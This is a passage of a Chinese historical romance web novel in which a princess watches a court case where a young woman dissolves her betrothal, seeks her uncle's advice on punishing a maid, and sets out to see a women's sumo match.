她瞬间有点不好意思看驸马,跟表哥她是没一点羞涩仿佛天经地义,可……她怎么跟驸马也可以呢? “臣只想知道,殿下到底是为什么……会有这等怪癖?” 山照抿唇,她声音有些颤-抖,但语气却很坚定:“我不愿意告诉你。” 她准备耍赖皮,至于能耍多久,她管不了! 第33章 第 33 章 对簿公堂 山照这招确实有效, 让孟浴恩哑口无言,他颇有种秀才遇上兵,有理说不清的无奈。 “殿下, 便是不告诉臣,臣自然有办法查明情况的。” “那就日后再说。”山照走了这步乱棋, 也知道自己不过是拖延时间, 迟早还是要被放到桌上跟孟家认真谈的。 但不能是现在, 不能是她一点倚仗没有的时候。 尽管这事情闹出来, 父皇也会为她收尾。可她知道这种收尾不是没有代价的,没有能力的人怎么会有话语权。 山照眼神坚定, 在孟浴恩面前一步不让, 显然是要耍赖到底了。 孟浴恩见状也没有继续紧逼,毕竟他不是要逼着公主与他离心。 他这番逼问,只不过是想让公主服软而后占据高地,加快深层合作的速度。 可他现在没有有力的证据, 再继续下去也只会是僵持。 孟浴恩凝着公主,她嘴角抿着倔强的弧度,像极了不屈的小羊,他忽然轻笑出声:“好,日后再说。” “殿下身体刚好,今日的课便免了。明日,臣再来同公主一起探讨学问。” 他轻轻拱手而后离开,一派轻松自然。 这下换山照看着他离开的身影出神, 她本能的感觉到方才他一定想到了一些别的东西。 不行, 她不能束手就擒。 她看向灵曲,昨日跟她的争吵还历历在目,可是她的难过与愤怒仿佛被其他的东西吞噬了, 此刻竟然没有办法继续怨恨灵曲。 可是叫她装作什么也没发生,未免太憋屈了。 “灵曲备车,我要去见舅舅。”山照纠结了一番,终究没说出什么来,只是决心请教舅舅。 她还有好多东西需要学习,还好有舅舅在,让她的身后一直有双大手为她撑腰。 ** 山照的车驾一路疾行到承恩公府,却扑了个空。 “瞧热闹去了?”山照惊讶。 她还算了解赵仪的,虽然他穿着打扮是一幅浪-荡公子哥的样子,其实是个很正派的人,从不去乱七八糟的地方、也不喜欢掺和别人的事情。 因而山照第一反应是:她不相信赵仪会为了一些轻浮之事专门出去瞧热闹。 可是说这话的是承恩公府的大管家,山照不得不信。 “什么事情把舅舅都引去了?” 管家立刻正色:“这说来也是件奇事。已故的卢右郎将家的大姑娘快要满双十了还未出嫁,这会正闹着跟未婚夫家退婚呢!” “右郎将是个什么职位?为什么这个卢姑娘要退婚?”山照一听便也起了兴趣,她还从未听过哪个姑娘敢跟未婚夫家闹退婚的呢?而且还是一个已经过了婚龄的‘老姑娘’。 要知道山照贵为公主也是十七岁就出嫁了,这位二十未婚的卢姑娘可真特例中的特例! “这位卢右郎将是领军卫的,虽是从五品的官职,但从前是实打实的陛下亲军,很得信任。要不是三年前故去了,这位卢姑娘可不是现在这个光景。” 管家说的虽然详细,但半天没说到点子上。山照也确实急着找舅舅,听了这几句,立刻道:“直接去找舅舅!舅舅在哪个衙门听热闹?” 管家立刻回:“因双方都是官眷,所以在大理寺。” “还有没有仆妇知道这事的,上我车再跟我讲讲!”山照听说在大理寺更来了兴趣,她还没有到官衙里面去过呢! 卢姑娘的事情确实不是一年两年的事情了,承恩公府里竟然大半都知道,山照随手点了一个自己有点面熟的丫鬟上车。 在车驾行驶的声音中,婢女尽量用最简洁的语句说事情整件事情的来龙去脉:“殿下,卢姑娘是十二岁跟王都尉的二子定的亲,当然那会卢右郎将不是右郎将、王都尉也不是都尉,都只是陛下亲兵中的百户。” “卢姑娘本该十五岁出嫁的,但十四岁时丧母,那会王家便有些不满,这一耽误就是三年,他家公子等不起。于是提议提前婚礼,热孝成婚。但卢姑娘刚烈,硬是放出狠话‘父母丧而不守孝者,非人也’。” 山照听得双眼发亮,她听到这句话猛的鼓掌:“太有骨气了!” 但山照又想,男人的心眼那么小,这不一下把未婚夫家得罪惨了。 而后她叹道:“闹成这样便该退婚的,待守完孝再择一门婚事,也比跟起了间隙的未婚夫家纠缠好。” 婢女也叹口气:“谁说不是呢?但那会王家虽然不满,但看在卢家风头正盛的面上,却也忍了。” “只是,卢姑娘着实不幸,才刚守完孝筹备亲事的时候,卢右郎将忽然得病死了!这下王家可大大不满,一来卢家失了主心骨,二来卢姑娘丧父丧母命硬,三来卢姑娘性格太要强了。可是,终究顾及着名声不敢退婚,便又叫卢姑娘赶紧成婚。” 山照想也知道后来的事情了:“卢姑娘定然是不肯的。这什么热孝成婚本也是可笑,谁家里长辈刚去世的时候有心情成亲呢?” “殿下说的对,卢姑娘就是不肯,王家也没强逼,只是给王二公子纳了妾,孩子都生了三个了。这不是孝期要满了吗,王家又提起婚事,却不料卢姑娘竟然一口拒绝了!” “啊!竟然是卢姑娘拒绝的。”灵曲都听的入神了,她们都以为是王家的人嫌弃卢姑娘年纪大了,不想娶了。 婢女也是啧啧称奇,就是因为故事特别离奇才在街头巷尾流传颇广,上到王侯将相下到平民百姓,竟几乎没人不知的。 “卢姑娘说王家在卢右郎将丧期未满三月便给王二公子纳妾,王二公子对其父亲实在无一点尊敬之心,她情愿出家都不嫁给他。” “卢姑娘真是一个奇女子。”山照打定主意自己必须要去凑合一下,说不定还能给卢姑娘撑撑腰。 “这事情最气人的是,王家不放手,说王二公子与卢姑娘自幼,虽未守孝却是因为没有正式成婚,可王二公子这么多年并未背弃婚约另娶他人,卢姑娘便该嫁。” “一个不嫁,一个硬娶。这才闹到大理寺去的。” 山照恍然大悟,原来如此。 又感同身受的替卢姑娘气愤:“欺人太甚!” 她从卢姑娘的身上看到了自己的影子,可是自己比她身份更高却没她这样的勇气,实在是令人佩服。 “怪不得舅舅非要去凑这个热闹,实在是不能错过!” 牛车虽慢,大理寺跟承恩公府却不远,就在这说话的功夫,她们几乎就已经到了。 只是到了大理寺门口,人来人往、车满为患,山照有些发愁,她今日出门因为是急着见舅舅是随便套了车来的,并没用公主仪仗。 但大理寺官员恐怕是有认识自己的,到时候引起骚乱,事情倒是更复杂了。她想了个法子,招手叫灵曲过来,自腰间取下自己的【泰和公主令】:“去找大理寺卿安排一下,我悄悄的在后衙从窗子的缝隙看就行了。” 灵曲立刻去办了。 ** 大理寺办案之处同县衙、府衙不一样,是不公开的。但这次的事情实在是格外引人注目,吸引了众多的百姓自发在门口等待结果。 大理寺怕人群涌动闹出事情来,便也只好退了一步,放了一二十个格外积极的人进来旁听,剩下的人就劝回家了。 今日审理的是大理寺左少卿白安知,他约莫四十岁上下,清瘦,有一把长而顺的胡子,看起来文质彬彬。 赵仪虽然是来凑热闹的,但国公之尊让他还是混到了主座左下侧的位置,依旧还是可以对下方原告被告的一举一动了如指掌。 他颇有兴味的看着卢家姑娘,这女子到了大理寺这种地方依旧是不卑不亢,细长脖颈昂着、腰也挺得直直,他愣是看出一股铁骨铮铮的架势。 白少卿一敲惊堂木:“开始审理。原告所求何事?” 虽然这些事情的前因后果在场之人没几个不清楚的,但到了堂上,还是得依着两人先口述的。 卢姑娘敢告自然也是做好了准备,就极有条理的说了婚事是如何缔结又是如何拖到现在未成,最后提出了自己的诉求:“小女只图解除同王二公子的婚约,其聘礼聘金愿意全数退还。” 她深深一拜,便是说了母丧后又父丧之事,面上也无一点悲戚之色,只有坚决退婚的决绝。 一介孤女能做到如此,在场之人无不动容。 “被告有何话说?” 王二公子自然不肯接受这个说法:“少卿大人在上,这卢氏所言实在是罔顾人伦。小子三年前便已及冠,膝下却空空,未婚妻还要守三年孝,纳妾实在是无奈之举。” “况且我与卢氏的婚约是正经的三媒六聘,是卢家双亲认可的婚事,自古以来父母之命、媒妁之言,卢氏这是违逆父母遗命,是大不孝!” 王二公子自然一点不怕,他其实娶不娶卢氏都无所谓,只是卢氏让他成为了满上京的笑话,他怎么能放她逍遥自在。 他要把她娶回家来,慢慢折磨。他看着卢氏,脸上是势在必得的傲慢笑容。 卢姑娘攥紧了手帕,就是因为知道她这样做,不嫁王二,也再不可能有人娶她,才只能放出话来说要绞了头发做姑子的。 实则她一点也不想做姑子,可却也没其他的路可走了。 “原告可有话说?”白安知公事公办,看不出偏向。 “小女……有家父遗书一封,其中言明若王家有不礼之事,小女可以自嫁,自然不算违逆父母。”卢姑娘从袖袋中摸出一沓泛黄纸张,由衙役递给了上座的白左少卿。 “彼时虽未成婚,但王家是小女未婚夫家,家父丧期未满三月便为王二公子纳妾,这样的事情算合乎礼法吗?” 卢姑娘着实是看不起这样的人家,丧母之时他们便急吼吼的叫她成婚,她就已经很是失望了。只是父亲想着自己耽误了岁数,退亲之后更难寻到好人家,便叫她再忍着性子看看。 她看了,却越看这家人越卑劣。 王二这次没等问话就开口了:“还未成婚守什么孝,我王家没有在孝期与你取消婚事便已经是仁至义尽了。你一个克父克母的寡女,还敢在这大放厥词!” 克父克母的寡女。 这句话实在太重,连被警告过不得出声的围观百姓都忍不住惊呼出声,他们虽在衙役的瞪视下很快噤声,却着实心疼起了卢姑娘。 这样的人家,嫁进去便就是被磋磨死的命,可怜哟。 “既然如此嫌弃小女,为何你还非要维系婚约呢?一别两宽,不是更好吗?”卢姑娘反问。 第34章 第 34 章 婚约作废 山照便是在这时候溜进来的, 她先草草跟大理寺卿打了个招呼,就进了后堂。正巧听见了卢姑娘这句反问,不由得心里暗暗为她的机智鼓掌。 她戳破窗纸, 从漏洞处看了出去。 只见堂下站着一男一女两个人,山照看得清清楚楚, 那位颇有骨气的卢姑娘实则生得极婉约小巧, 比那王二矮上一-大截, 可气势却寸毫不让。 山照一见卢姑娘便对她格外有好感, 许是眼缘又或是听了她的故事有些动容。反正她本只是来凑个热闹,可一见到真人, 她就不忍心见卢姑娘输了。 王二反应也快, 自知自己说错话了,连忙找补:“婚姻之约又不是儿戏,怎么能说毁约就毁。卢氏,一直以来都是我王家要娶, 而你拒嫁!” “原告、被告,你们可还有旁的事情要说吗?”白少卿眼见着两人越说越远,连忙打断了。他眉心紧锁,实在很不想断这种鸡毛蒜皮的案子。 他其实日日忙得脚不沾地,若不是这事闹得风风火火的,不少权贵都注意到这事,上官怕有不妥之处让别人抓了小辫子,这样的事本不该他来。 王二趁胜追击, 一拱手, 面上是一派正义凛然:“大人明鉴,婚姻之事关乎人伦大义,若任由女子毁约, 岂不是开了不正之风?好好的婚约,就因些似是而非的理由便能毁去,日后岂不都是有样学样?” 卢姑娘也知道王家捏着婚约就是占了大义,可她是孤女是弱女,百姓对她的怜悯之心又如何不是一种大义。 她眼眶红了,垂下泪来,模样可怜:“请大人垂怜,如今闹成这样,小女嫁进王家就是一条绝路。” “婚姻本是结两姓之好,但卢家与王家已因此事交恶,实在是一桩孽缘。求大人明辨,为小女断了这孽缘,作废婚约。” 卢姑娘深深行了个礼,身后静默的人群中有一妇人猛然喝出一句:“作废婚约!” 紧接着又是几句七嘴八舌的应和,虽然衙役及时阻止了人群继续说下去,但民心所向已经十分明显。 白安知也是偏向作废婚约的,但卢家悔婚不可能什么代价都不付出。 “卢氏女,你可知悔婚需加倍返还聘财?你家中上有长辈需奉养、下有幼弟还未长成,是否承担得住?” 卢姑娘正是因为考虑过这一桩,一开始才迟迟没有退亲。现在她是故意将事情闹大的,就是不想出这一笔。 “大人,律法有例:无故悔婚方需赔偿双倍聘财,但小女并非无故。王家待我父母之丧事草率,我为人子岂能容忍?孟子能因其妻箕踞而休妻,小女便不能因王家不礼而悔婚吗?” 旗举得再大,卢姑娘也知道律法都是男人们说了算的,自己必然不可能全须全尾的出来,她又重申一次:“大人,况且小女并不是不愿为自己悔婚的行为付出代价。小女愿出家修行、终生不嫁,悔过己身。” 赵仪听到这句,眼神有些波动,他突然开口问了一句:“卢氏女,你真宁愿终生不嫁,都不愿做王家妇?” 这会众人才将视线转移到白少卿座下的陌生公子,他未着官服,但一身绫罗,大理寺的人就算不认识赵仪的,也能猜出他不是高官就是皇亲。 白少卿嘴角一僵,大理寺判案是不许旁人插手的,但他终究什么也没说,只饮了一口茶。 “是,小女不愿。”卢姑娘回答赵仪时,也是不卑不亢的。 这一番表现让赵仪眼里多了几分欣赏:“少卿,依我看,王家确实也有错。算是两方有错,让卢家还了聘礼就是……” 白少卿从赵仪开口开始就没有想着承恩公仅仅只是来看个热闹,但他为卢氏女说话的意思如此明显,还是让他多瞧了卢姑娘一眼。 他有点摸不准这是个什么路数了,但承恩公既然愿意出面,他当然愿意给个顺手人情。更关键的是,这案判的好不好,可就赖不到他身上来了。 一番思索,白安知心中已有决断,反正王家那个都尉也不是什么了不得的官儿。 他一拍惊堂木:“根据原告被告所述内容,本官裁定:卢家与王家婚约作废,但卢家需返还王家全部聘礼,并补偿王家白银三百两。” 白银三百两的补偿不算少,但跟动辄几千两的聘礼相比又很微薄了,这判的很明显的偏向卢家。 卢姑娘面上露出些喜色,连忙叩谢。 王二算盘落空如何能情愿!但他也不是蠢人,那坐少卿左下首的公子一开口,本来还在犹豫的白少卿立刻就断了案。 裁定一出口,便如水泼,无法逆转。 王二只能认了。 他自然注意到大理寺没有认可卢氏‘终身未嫁’那一条,但他不是很在乎。 二十的老女了,如今就算赢了也搞出好大一个叛逆名声,他倒是要看什么男人敢把这样的女人娶回家? 山照听见舅舅就那么轻飘飘的说了句话,形势立刻逆转了。 为卢姑娘高兴的同时,又有点失落。 她本来打算如果判的不好,自己就来给卢姑娘出头的,如今英雄救美的想法彻底落空了。 但这点失落如同微风拂过很快散了,山照还是觉得自己出不出头不要紧,要紧的是卢姑娘不用嫁给不喜欢的人了! 山照在心里狠狠夸了一波舅舅,然后准备在后堂蹲他出来。 可是赵仪却从另一侧出了门然后没了踪迹,山照连忙反应过来,叫灵曲和她一起出门跟上。 山照没分辨出赵仪往哪走了,但在大理寺门口看到了一辆牛车,车上有承恩公府的徽记,山照便很自然的坐上舅舅的车等他。 她一边等着,一边梳理自己想问的问题。卢姑娘跟王二的争论对她其实很有启发,她觉得自己关注的东西实在是太小了。 卢姑娘这样无依无靠的人,都能鼓起勇气跟未婚夫家退婚。她在怕什么呢?她怕父皇、舅舅觉得她无能…… 可是,本来父皇和舅舅就没有对她有什么期待啊,她知道如果跟表哥的事情真的被泄露出来,他们会给她兜底的。 她不会受到太实质性的惩罚,可能最难挽回的是颜面受损。 但她还是不想被兜底,她想自己找到解决的办法,她想跟孟家谈判,她想自己为自己兜底。 也许是自尊心作祟吧,她从前在李家村的时候从来不会觉得自己无能,因为都知道她是操持家务的一把好手,弟弟们都是她带大的。 可是回到上京,她发现自己变的很没用。她不需要再担心银钱的问题,她甚至不用考虑人际关系,她没有讨好过父皇,更别提后宫的众人和弟弟妹妹了,她其实得到了一部分超脱世俗的自由。 虽然她还是被迫嫁给了孟浴恩,但山照也知道一个普通的新嫁娘是不拥有她那样的,说‘不’的自由的。 可她还是不满足,她内心有一块地方从到了上京开始就没有被填满过。 她没有被看见!李山照没有被看见! 他们看见的都是泰和公主,他们的尊重是给公主的、他们的忍耐是给公主的。 可公主就是山照,山照就是公主,山照都觉得自己是锦衣玉食的日子太过悠闲了,才去思考这些无用的东西,她自己都不认为自己该痛苦。 山照努力的学习着,她知道书里有世间所有的道理,她想找到一个道理,让她说服自己亦或是得到答案。 但今天,她知道了一点:觉得痛苦就应该表达出来。她不应该怀疑自己的痛苦,然后把它归类成无病呻-吟,她明知自己不是‘为赋新词强说愁’。 ** 卢姑娘很是谨慎小心,她知道王家一定会报复她,尤其是判决对她有利的情况下。因而刻意躲开了人群,等到看热闹的人都散去了之后,才从大理寺的小门准备出去,却在这时被叫住了。 “卢姑娘。” 她回头,她听出来这声音是方才为她说话的公子的声音,止步。 婢女小桃有些紧张,她小声唤:“小姐,该走了。” 卢姑娘回了她一个平静而镇定的眼神,小桃便不好继续催促了。 “小女谢过公子方才的仗义执言。” 卢姑娘稍微走近一些,站在距离赵仪两丈远的地方行了个礼。 赵仪多年没有被人叫过一句公子了,还觉得有点稀奇。他接下这个称呼,并没提及自己的身份:“些许小事不足挂齿,卢姑娘有勇有谋很是让某佩服。” “不敢当公子夸奖。”赵仪终究是生人,卢姑娘打过招呼便想走:“本该好好感谢公子一番,不过家中车马已在等候,小女……只好失礼了。” 赵仪却不是为了说这么几句寒暄才特意拦住她的,他见人想走,便干脆直明来意:“卢姑娘暂且留步。某只是确定一下,方才在堂上卢姑娘说的‘终生不嫁’,不知道是被王家逼迫才说出此语,还是……真就对婚事失望了呢?” 这话十分冒犯,十分不礼,不是一个陌生男子该问的问题。 卢晗却读出了其他的意味,她细细打量起赵仪,虽是养尊处优的公子哥,却显然的年纪并不小了。 这个年纪的公子不管是已婚还是未婚都不是她招惹的起的,但她也不愿意得罪了这位,只作出一幅颇有些哀婉的模样。 “都有罢。小女经此一事,本就婚事艰难,日后或也无人问津了。” 这话说的悲观,却又让人无端心生联想。 “某欣赏卢姑娘的性子,便也冒昧一问,若卢姑娘立志终身不嫁,便是某多言了。若还有婚配的想法,不若看看眼前人。” 赵仪说这一番话并不是开玩笑,他从找回山照开始就开始寻摸自己的婚事了。不过与许多人婚配的对象不尽如人意的情况不同,赵仪是可以选择的太多了。 但他心里还是知道自家的事情,他已经没有那个耐心去哄小姑娘了,却也还不能接受和离的妇人。因而知道卢家姑娘退婚一事的时候,他还是颇为惊喜的。 今日堂上又见她不卑不亢、有礼有节,实在很合他的心意。 卢晗吃了一惊,他……竟然是想娶我! 心里却不认为他是认真的,她怕赵仪纠缠她,只能自损:“小女谢过公子,只是小女已在佛前发愿要为亡父亡母再清修三年。” 清修三年自然是拒绝,赵仪便放人走了,只是他求娶未成心里难免有些嘀咕。 难道她真是打定主意不嫁了? 第35章 第 35 章 世无两全 赵仪颇有些垂头丧气的回了马车, 一掀帘子就发现自己的好侄女,眼儿亮晶晶的盯着自己。 赵仪心里一跳,孩子静悄悄指定在闹妖。连忙四处张望了下, 这才放下帘子,进了马车。 他压低了声音, 语含斥责:“胆子这么大!一个人都敢跑出来了!” 山照并不怕他, 只说带了灵曲, 并不是独自一人。 而后就迫不及待将心里苦恼了许久的问题全盘托出, 而后眼神带着希冀看着舅舅。 赵仪坐下,长腿一伸, 本来宽裕的牛车就稍显逼仄了。 得知是这么个问题叫她专程跑出来找他, 赵仪心里不知是该哭还是该笑,但最后只是带着无奈叹口气:“要不,就不折腾了?好好做你享福的公主……” 山照瞳孔的光一下黯淡了,像风中残烛摇摇欲坠, 却又没有真的熄灭。她有些不甘:“舅舅,我知道我太心软了……其实我知道其他人遇到这事情会怎么做,可是,我始终是不忍心。” 赵仪并不认为她善良有什么问题,可是慈不掌兵、情不立事,她这样别说是要掌握权力了,光是这么活着就够别扭了。 山照很不想让舅舅失望,但她明明知道, 若是把灵曲送回宫, 她会受欺负,她就说不出这么狠心的话来。 若是打她一顿,她看着灵曲白净的脸蛋、光洁的双手, 又觉得她受不下来。便是只是冷落她,这遇到事情她下意识喊的还是灵曲的名字。 这叫她怎么罚呢? “要么你就安安心心做不谙世事的公主。你要仁慈也好,你要任性也罢,总归是有这样的底气。” “要么你就要狠下心来,该罚的罚,该弃的弃。否则你这样不软不硬、不上不下的,只是折磨自己。” 赵仪对山照没有什么要求,他对失而复得的侄女疼还来不及,并不苛求她上进。而且女人也没有什么上进的空间。 但山照自己有要求,他也不介意惯一下。 只是,世间难有双全,慈悲心握不住权力,所以他这次话就说的格外简单明了。 当然,也是叫她认清楚现实。 山照低头。 她就是不知道该怎么做才来问舅舅的,舅舅说的她都懂,但她就是做不到。做不到那么理直气壮的惩罚别人,做不到轻描淡写的决定别人的命运。 她知道,她有权力惩罚灵曲,没人会怪她。 她只是,过不了自己这关。 若是在李家村,她生气了不理人就行。可是灵曲是她的大宫女,突然被冷落,谁都知道她是犯了错,谁知道他们会怎么欺负她。她最多只是想小小的惩戒一下她,并不想她受到过多的伤害。 “舅舅,你就告诉我吧!你一定知道怎么办。”山照没有别人可以问了,她只能寄希望于赵仪。 这个问题难倒了赵仪。不是因为多复杂,而是这很难表达清楚,赵仪不能用一句话说服山照接受尊对卑就是生杀予夺,她根本不懂雷霆雨露皆是君恩。 “如果你只是问字面上的怎么处理,那很简单。看你想不想留了,不想留就送给我,想留就罚站罚跪罚抄,而后一切如常就行了。” 赵仪知道这不是问题的关键,自顾自的接着说:“但,殿下你不能太把丫鬟仆从们太当回事了。主子和下人本就不是一类,就像猎食者和猎物的身份不可逆转,牛马的身躯再高大也是吃草的,猫狸再瘦小也是吃肉的。” “你不能因为仁慈而让吃肉改去吃素,那是佛祖都不会要求的事情。” 山照张口欲言,却不知道该说什么,于是又沉默了。 许久。 “我便不能有朋友了吗?” “是。” 赵仪戳破了山照的幻想,她闭着眼假装自己除了享受锦衣玉食外一切都没有变化,但一切早就已经变了。 她不承认也不行的。 ** 杨力行约了陈於白。 他换下了那身衙役的装扮,换上了自己的常服,从租住的小院出来。 虽然赵仪安排了他的工作,但并没有让他继续住在承恩公府。杨力行不知道为什么,他只是遵从。 况且衙役的生活没有什么不好,日得百文,虽不富裕但自己花也是绰绰有余,更何况承恩公并没有完全不管他,每月都另送二两银子给他交际。 比起他从前的日子,他其实要富裕一些,但要压抑许多、许多。 就比如说这次的事情,杨力行虽然不擅长思考这些问题,但也能够看出内含的考验意味。表妹希望他更有能力,承恩公就给他了一个舞台,看他能够做出些什么。 他虽然同表妹已经做了真夫妻,但还是渴望着有一天能够正大光明的站在表妹身旁,和她生儿育女。 所以杨力行很努力,但也只是作为一个衙役的努力。上京官吏多如牛毛,谁会在乎一个衙役是否称职努力? 他越干,就越知道,和表妹的未来,是不可能靠他这样变得更好的。但是他现在能做的只有努力,尽管杯水车薪,他也要勉力一试。 快到跟陈於白约好的地方,杨力行忽然停住脚步,闭了闭眼,将脑中那些奔腾不息的杂乱想法强行按耐住。 而后抿出一个笑容,走进了宋家食肆。 陈於白正捻着花生玩,手指轻轻一捻红色的花生皮便如同碎雪般洋洒在桌上的小盘中,直到雪白的花生身上再无一点红色,他这才将这粒花生送进口中。 杨力行走进来,一抱拳:“陈兄弟,久等了。” 陈於白也是好久没看到他了,愣了一秒,才笑起来:“杨兄弟,你这身板又壮了啊?” 杨力行本来就生的比旁人高壮一些,到了上京又是吃饱穿暖又是勤学苦练,硬生生又比原来大了一两圈。 他去巡街的时候,路上都遇不到什么小偷小摸的宵小之徒。一看他那架子,不需动过手,就知道是练家子。 得到别人夸奖,杨力行心里也是欢喜的,本来还有一丝的尴尬悄然散去。 陈於白熟练的叫食肆上酒上菜,他虽然是世家子弟但是从武不从文,也没什么架子。 “杨兄弟,来,喝一个。” 两人酒碗相碰,发出一声脆响,一同饮尽。 杨力行才开口:“陈兄弟,实不相瞒。我这次是有事相求?” 陈於白知道他是泰和公主的前未婚夫,他也知晓前些日子泰和公主已经出嫁了,心里对这位可怜人也有些同情。 他大方摆手:“不说客套话,杨兄弟开口就是。能办的,我陈某一定尽力。” 陈於白越是坦然,杨力行就越是有些不好说出口,他嘴笨,向来是不求人的。但他日复一日的在衙门呆着也没有长进,承恩公不教他,他只能找别人求教了。 “我今年十九岁整,还不知道陈兄弟年岁?” 陈於白哈哈一笑:“那我可是兄长了,去年我就及冠了。” “见过陈兄。” 陈於白摆摆手:“杨弟不必多礼。” 杨力行这才把来意说出:“陈兄知道我的来历我就不多说了。现在虽然虽然凭着体格做了个巡街衙役,但毕竟没有什么前景。依陈兄看,我还有什么前途吗?” 陈於白又打量了一番杨力行,他虽然穿着合身的衣袍,但一举一动皆有刚劲,他都羡慕这样一副好体格,自然觉得做衙役是屈才了。 但若是问他怎么上进,那是问错人了,他陈於白不就是因为不上进才被弄进缇灵卫混日子的吗? “额……”陈於白顶着杨力行真诚的眼神真的是说不出:对不起我是二世祖这样的话。好不容易有个人看得起自己,真问自己意见,他怎么能这么拉胯呢? 他绞尽脑汁,在记忆里搜寻一些可能有用的知识。 然后……然后当然是一无所获啊,他真恨从前的自己啊,父亲跟他认真讲的时候干嘛不听,现在想显摆都显摆不出来。 但让陈於白这么干脆的承认他不行,那也是不可能的! 事已至此,先吃饭吧! 小厮端上热腾腾的饭菜,陈於白一边吃,一边将自己知道的所有事情说出:“杨兄,其实你现在干这衙役也不错,若是干的年头久,总能等到提拔的时机。做个小官是不难的。” 杨力行摇头,这十年八年的不是他想要的答案。 “那就只能参军了。”陈於白知道杨力行家境普通没读过什么兵书,武举是不行了。若是白身搏命,其实去参军是最可能成功的一条路径了。 “还是算了。”没等杨力行回答,陈於白自己都觉得不靠谱。 “参军确实能当官,但是更多人是做鬼去了。还不如你这个小吏妥当……” 杨力行落寞的垂眸,他其实想过,但是……表妹还需要他,他走不远。 陈於白看他脸色不好,暗自‘啧’了一声,声音低了许多:“你……走走殿下那边的路子啊。” 陈於白觉得总归是青梅竹马,殿下心里未必没有些许愧疚,便是手指缝里撒点,破格让他做个小官不是不可能的事情。 杨力行缓缓摇头,也不说为什么。 气氛瞬间尴尬了起来。 陈於白好不容易说了句真心话还被否了,心里也不是滋味。但他可以理解,男人嘛,都要自尊的。 “喝酒喝酒。”陈於白也真是打算管一管这事:“我回家问问,有好消息了再回请杨弟。” 杨力行撇去心头压着的事情,跟陈於白像是两个没事人般痛饮了一场。 醉梦之中,他回到李家村,同心爱的姑娘成了婚。 杨力行嘴角勾着笑,是醉一场,是梦一场,也是庸人不能自醒—— 作者有话说:想创建个抽奖的,但是30天内只能创一个,要再等几天了。 第36章 第 36 章 女子相扑 宜秋手指轻巧的在山照发间穿梭, 只需片刻,便绾出了个极为圆满的乌蛮髻。 山照从铜镜中自赏,两鬓乌丝如瀑、髻头光滑饱满, 不由得笑起来,侧头夸奖:“从前竟不知你有双好巧的手。” 从前公主面前只有灵曲一人得意, 旁人便是有十八般武艺也是不敢显露的。这会眼见那位失宠, 春夏秋冬、琴棋书画几人都鼓足了劲儿表现, 宜秋自然一样。 她生的一张尖瘦脸, 并不刻薄,只是柔弱。 此刻不过露出一个清浅的笑容, 不敢居功:“殿下喜欢就好, 能为殿下增色是奴的福气。” 山照从前听见奴婢们这么说话,心里还会有些难受,她心里知道未必是她们的真心话。但现在已经习惯了,不但宫中如此, 权贵之家都是这样的,这也是她们生存的潜规则。 凤凰挑心一戴,发间再闲插几处花钿,今日的穿戴便完成了。 山照从前些日子跟驸马约好念书开始,便开始了一对一的私塾生活。 每日巳时学到午时,同驸马一起用过午膳,再学到申时结束。因山照并不是要学来考取功名,授课的内容倒是一点不枯燥, 内容十分丰富有趣。 时而是学成语典故, 一览古人们的生平轶事、爱恨情仇。时而是学琴棋书画,欣赏孟浴恩的悦耳琴音和笔墨山水。还有煮茶调香、围棋投壶,总之每日都不重样。 山照嘴上不说, 其实对每日要学什么还是充满期待的。 孟浴恩本就在公主府设置了一间南北通畅、四处迎阳的书房,挂上了‘宜思堂’的牌子,便就成了他授课的地方。 山照进门就看见孟浴恩正坐的身影,他偏爱雅致的装扮,除了新婚那几日,便都是着素衫少装饰。 他着碧色襕衫,如青松翠竹一般挺直身子,格外清新宜人。 “驸马,今日学什么呢?”山照落座,却发现书案上没有提前准备好的课本,眼中的疑惑深了,她抬眼看他。 “今日,是想请殿下外出。”孟浴恩自然是已有打算:“原该早些邀请殿下,但臣这些日子闭门不出,消息闭塞了许多。昨日才知,瑞平坊今日有女子相扑比赛。” “女子相扑?”山照知道相扑是什么,但她一直以为这是男子的游戏。况且世风保守,怎会允许女子抛头露面做这样的事情? 看出公主有些疑惑,孟浴恩没有吊人胃口的意思,解释道:“自然是极小规模的,且也只允许女客观看。” “举办者是瑞平侯夫人,她向来喜欢舞刀弄枪的事,这次进行相扑之人据说是几家贵人家中豢养的健仆。殿下若是感兴趣,可以去玩乐一番。” 山照自然是想去的,她现在并不经常出门。主要是公开出门就要兴师动众的带一-大串人,私服出行又被舅舅耳提面命了不安全。 “我一个人去吗?”山照自己都没有注意到,她在这些日子的相处中,竟然也有些依恋孟浴恩了。 他唇-瓣微微向上,是个浅笑:“臣,送殿下去。” ** 上京有许多坊市,坊就是居住区,市是商贸区。但跟前朝严格按照坊市制度进行居住和商贸划分不同,新朝在这方面已经是松懈了许多。 虽然主要的商贸区还是东南西北四区,却也有许多小商铺在坊中开办起来。只是那些吵人、熏人的铺子,暂时还没有人成功开办起来。 瑞平坊只有横三竖二五条小街,最大最气派的府邸就是居中的瑞平侯府,沿街的大小住宅几乎都是些中小官员的家。 这些错落有致的住宅,因居住的都是官宦,无论大小,俱都打扫的整洁干净。虽然少了平民坊中的烟火气,却又另有一种别样的生气。 山照专注的看着车内冰鉴里寒冰散发出的缕缕白色寒气,当然,也由不得她不专注。 因为她的身旁,有一个存在感极强的人。 孟浴恩垂着眸,也不知在想什么。山照不与他搭话,他便也没多说。 山照偷偷瞧了他好几眼,有些不安又有些尴尬。她不是那种沉默的性子,因此对这种沉闷的气氛有种本能的不适应,但她又不知道该说些什么。 因为车里坐了驸马,婢女们十分懂得避嫌,放好茶水点心这些物事之后便自发退下了。 导致山照这会想找个救兵都找不到。 与山照的无措不同,孟浴恩虽然也没有跟除了孟夫人之外的女眷同乘过,但他觉得跟妻子一同乘车是不需要尴尬的,也就表现的十分坦然。 牛车缓缓驶入瑞平坊,沿途遇见的行人、车马如流,竟有些拥堵。 山照等到牛车停下,宜春在帘外低声道:‘殿下,到了。’的时候,暗地里长舒了一口气。 “殿下,玩的愉快。” 孟浴恩的声音在身后响起,山照迈出的脚步顿了顿,而后转头回了个带着笑意的‘嗯’。 ** 这是家叫做‘周氏杂技’的铺面,门口不是那种常见商铺的大招牌,而是正常的门头加上两排垂下的连串显眼的彩球。 牛车只是在门头停住片刻,等主人走下车后,又被伙计引领着停到其他地方去了。 因是私服出行又只是城内游玩,山照就还是只带了宜春、宜秋两人。 伙计极有眼色,他虽然没在牛车上看到对应身份的纹饰,不能确定贵客的身份。但却暗自打量了山照和婢女的穿着打扮,极为低调富贵。 “夫人今日也是来看相扑比赛的吧?却不知夫人持的是什么颜色的票?” 